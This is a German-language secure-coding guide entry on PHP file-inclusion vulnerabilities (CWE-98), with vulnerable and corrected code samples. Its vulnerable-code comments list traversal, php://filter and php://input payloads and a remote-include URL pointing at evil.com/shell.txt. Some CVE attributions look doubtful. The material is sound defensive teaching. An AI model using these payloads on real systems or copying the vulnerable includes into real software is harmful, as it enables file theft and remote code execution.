Unsachgemäße Kontrolle von Dateinamen für Include/Require-Anweisungen in PHP-Programmen
Beschreibung
Unsachgemäße Kontrolle von Dateinamen für Include/Require-Anweisungen in PHP-Programmen ist eine Schwachstelle, die auftritt, wenn PHP-Anwendungen Datei-Include-Anweisungen (include, include_once, require, require_once) unter Verwendung von extern beeinflussten Eingaben ohne ordnungsgemäße Validierung konstruieren. Diese Schwachstelle manifestiert sich in zwei primären Formen: Local File Inclusion (LFI), bei der Angreifer Dateien vom lokalen Dateisystem einbinden, und Remote File Inclusion (RFI), bei der Angreifer Dateien von Remote-Servern einbinden (wenn allow_url_include aktiviert ist). Erfolgreiche Ausnutzung ermöglicht Angreifern das Lesen sensibler Dateien, die Ausführung beliebigen PHP-Codes aus eingebundenen Dateien oder das Erlangen von Remote Code Execution durch verschiedene Techniken einschließlich Log-Poisoning, PHP-Wrapper-Missbrauch und bösartiger Remote-Includes.
Risiko
File-Inclusion-Schwachstellen gehören zu den kritischsten PHP-Sicherheitsproblemen. LFI ermöglicht das Lesen sensibler Dateien wie /etc/passwd, Konfigurationsdateien mit Datenbank-Anmeldedaten und PHP-Session-Dateien. Gefährlicher noch kann LFI durch Techniken wie das Einbinden vergifteter Log-Dateien mit PHP-Code, die Verwendung von PHP-Stream-Wrappern (php://filter, php://input) oder das Einbinden hochgeladener Dateien zu Remote Code Execution eskalieren. RFI ermöglicht direkt Remote Code Execution durch Einbinden angreifergesteuterter PHP-Dateien von bösartigen Servern. Diese Schwachstellen wurden bei zahlreichen hochkarätigen Angriffen gegen PHP-Anwendungen ausgenutzt, einschließlich populärer CMS-Plattformen.
Lösung
Verwenden Sie niemals Benutzereingaben direkt in Datei-Include-Pfaden. Implementieren Sie strikte Allowlist-Validierung, die nur vordefinierte, sichere Dateinamen erlaubt. Verwenden Sie Switch-Anweisungen oder Array-Lookups, um Benutzereingaben auf spezifische Dateien abzubilden, anstatt Pfade zu konstruieren. Wenn dynamische Includes erforderlich sind, validieren Sie, dass der aufgelöste Pfad innerhalb eines erlaubten Verzeichnisses bleibt, mit realpath() und Präfixvergleich. Deaktivieren Sie allow_url_include in php.ini (Standard seit PHP 5.2). Setzen Sie open_basedir, um Dateizugriff auf Anwendungsverzeichnisse zu beschränken. Verwenden Sie basename(), um Verzeichniskomponenten aus Benutzereingaben als zusätzliche Verteidigung zu entfernen. Erwägen Sie die Verwendung von Autoloading-Mechanismen anstelle manueller Includes.
Häufige Auswirkungen
| Auswirkung | Details |
|---|---|
| Vertraulichkeit | Bereich: Vertraulichkeit LFI ermöglicht das Lesen sensibler Konfigurationsdateien, Quellcode, Datenbank-Anmeldedaten und Systemdateien wie /etc/passwd. |
| Integrität | Bereich: Integrität RFI und LFI-zu-RCE-Techniken ermöglichen beliebige Code-Ausführung, die Anwendungsmodifikation und Backdoor-Installation ermöglicht. |
| Verfügbarkeit | Bereich: Verfügbarkeit Angreifer können Anwendungen zum Absturz bringen, Dateien beschädigen oder destruktive Payloads durch eingebundenen bösartigen Code einsetzen. |
| Zugriffskontrolle | Bereich: Vollständige Kompromittierung Remote Code Execution durch File-Inclusion führt typischerweise zu vollständiger Server-Kompromittierung. |
Beispielcode + Lösungscode
Anfälliger Code
<?php
// ANFÄLLIG: Direkte Benutzereingabe im Include
$page = $_GET['page'];
include($page);
// Angriff (LFI): ?page=../../../etc/passwd
// Angriff (LFI->RCE): ?page=php://filter/convert.base64-encode/resource=config.php
// Angriff (RFI): ?page=http://evil.com/shell.txt
// ANFÄLLIG: Teilweise Validierung ist unzureichend
$lang = $_GET['lang'];
include("languages/" . $lang . ".php");
// Angriff: ?lang=../../../etc/passwd%00 (Null-Byte - älteres PHP)
// Angriff: ?lang=....//....//....//etc/passwd
// ANFÄLLIG: Dateierweiterung nicht ausreichend
$template = $_GET['tpl'] . ".php";
include("templates/" . $template);
// Angriff: ?tpl=../../uploads/malicious (wenn .php angehängt wird)
// PHP-Wrapper umgehen Erweiterung: ?tpl=php://input
Korrigierter Code
<?php
// SICHER: Allowlist-Ansatz mit Switch-Anweisung
function loadPage($page) {
switch ($page) {
case 'home':
include 'pages/home.php';
break;
case 'about':
include 'pages/about.php';
break;
case 'contact':
include 'pages/contact.php';
break;
default:
include 'pages/404.php';
}
}
// SICHER: Array-basierte Allowlist
function loadTemplate($template) {
$allowed_templates = [
'header' => 'templates/header.php',
'footer' => 'templates/footer.php',
'sidebar' => 'templates/sidebar.php',
'main' => 'templates/main.php'
];
if (array_key_exists($template, $allowed_templates)) {
include $allowed_templates[$template];
} else {
throw new InvalidArgumentException('Ungültiges Template');
}
}
// SICHER: Pfadvalidierung für dynamische Includes
function safeInclude($filename, $base_dir) {
// Directory-Traversal-Versuche entfernen
$filename = basename($filename);
// Nur alphanumerische und bestimmte Zeichen erlauben
if (!preg_match('/^[a-zA-Z0-9_-]+$/', $filename)) {
throw new InvalidArgumentException('Ungültiger Dateiname');
}
// Vollständigen Pfad konstruieren
$full_path = realpath($base_dir . '/' . $filename . '.php');
// Verifizieren, dass Pfad innerhalb des erlaubten Verzeichnisses ist
$real_base = realpath($base_dir);
if ($full_path === false || strpos($full_path, $real_base) !== 0) {
throw new InvalidArgumentException('Datei nicht gefunden oder Zugriff verweigert');
}
// Verifizieren, dass Datei existiert und lesbar ist
if (!is_file($full_path) || !is_readable($full_path)) {
throw new InvalidArgumentException('Datei nicht zugreifbar');
}
include $full_path;
}
// php.ini Sicherheitseinstellungen
// allow_url_include = Off
// open_basedir = /var/www/myapp/
Ausgenutzt in der Praxis
TimThumb WordPress-Schwachstelle (WordPress, 2011)
TimThumb, ein populäres WordPress-Bildgrößenänderungsskript, hatte eine Remote-File-Inclusion-Schwachstelle, die Angreifern erlaubte, bösartige PHP-Dateien von Remote-Servern einzubinden. Tausende WordPress-Seiten wurden durch diese Schwachstelle kompromittiert, wobei Angreifer Backdoors und Malware installierten.
PHP CGI Argument Injection (PHP, 2012)
CVE-2012-1823 ermöglichte Angreifern die Ausführung beliebigen PHP-Codes durch CGI-Parameter-Injection, was häufig mit File-Inclusion-Techniken kombiniert wurde, um Remote Code Execution auf anfälligen PHP-Servern zu erreichen.
Joomla LFI-Schwachstellen (Joomla, mehrere Jahre)
Mehrere Versionen von Joomla und seinen Erweiterungen waren von Local-File-Inclusion-Schwachstellen betroffen, die Angreifern erlaubten, sensible Konfigurationsdateien zu lesen und durch Log-Datei-Poisoning zu Remote Code Execution zu eskalieren.
Tools zum Testen/Ausnutzen
-
LFISuite — Automatisiertes LFI-Exploitation-Tool mit mehreren Techniken einschließlich Log-Poisoning und Filter-Bypass.
-
Burp Suite — Web-Sicherheitstestplattform mit File-Inclusion-Testfähigkeiten.
-
Kadimus — LFI-Scanning- und Exploitation-Tool mit Unterstützung für verschiedene Bypass-Techniken.
CVE-Beispiele
-
CVE-2018-7600 — Drupalgeddon2 Remote Code Execution mit Dateiverarbeitungsschwachstellen.
-
CVE-2023-22515 — Atlassian Confluence Zugriffskontrollumgehung, die zu File-Inclusion führt.
-
CVE-2012-1823 — PHP CGI Argument Injection ermöglicht beliebige Code-Ausführung.
Referenzen
-
MITRE. "CWE-98: Improper Control of Filename for Include/Require Statement in PHP Program." https://cwe.mitre.org/data/definitions/98.html
-
OWASP. "Testing for Local File Inclusion." https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/07-Input_Validation_Testing/11.1-Testing_for_Local_File_Inclusion
-
PayloadsAllTheThings. "File Inclusion." https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion